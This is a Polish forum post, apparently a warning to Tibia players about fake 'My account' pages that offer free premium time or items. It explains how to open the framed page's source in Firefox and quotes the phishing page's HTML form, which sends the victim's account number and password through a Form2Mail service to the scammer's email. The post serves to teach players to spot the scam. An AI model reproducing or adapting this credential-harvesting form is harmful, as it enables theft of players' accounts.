Tak jak w temacie. Gracze (pseudo-hackerzy bo tak ich trzeba nazwać) robią strony wyglądające jak oficjalna strona Tibii (z polami na wpisanie account number'a i password'a - Strona wygląda jak "My account"). Strony te wabią ludzi tym że obiecują np: darmowy PACC na jakimś tam okres lub jakieś ekstra itemy (oczywiście wszystko za free bo, wystarczy tylko dać swoje passy i kliknąć na przycisk "Submit"). Lecz sprawa wygląda mniej kolorowo ponieważ gdy się kliknie na "Submit" twoje passy zamiast na tibia.com lecą na prywatne konto e-mail założyciela strony. Oczywiście mądżejszy gracz sprawdzi kod źródłowy tej strony i znajdzie linijkę z adresem na który są wysyłane jego passy. Ale ci "hackerzy" zabezpieczają sie przed tym stosując "ramki" na stronach (kto trochę kuma HTML'a to wie o co chodzi
) przez co sprawdzając kod źródłowy sprawdzamy z jakich innych stron składa się ta strona (i niemozemy sprawdzić kodu źródłowego strony która nas interesuje). Oczywiście można to obejść
:
Podam przykład z Mozilli Forefox (bo IE nie używam) :
- klikamy na stronie prawym przyciskiem myszy i wysuwa nam się menu podręczne
- z menu wybieramy Ramka>Pokaż tylko ramkę lub Pokaż źródło ramki
i znajdujemy tam takie linijki kodu :
<form method="POST" action="http://free4web.pl/Form2Mail/">
<input type="hidden" name="email" value=
"[email protected]">
<input type="hidden" name="zwrtadr" value="http://tibia.4players.de/home/?subtopic=account">
<TABLE BORDER=0 CELLPADDING=1>
<TR><TD>Number: </TD><TD><INPUT TYPE=password name="ID" SIZE=10 MAXLENGTH=10></TD></TR>
<TR><TD>Password: </TD><TD><INPUT TYPE=password NAME="pass" SIZE=29 MAXLENGTH=29></TD></TR>
</TABLE>
"[email protected]" to adres na które wysyłane są passy gościa który się nabrał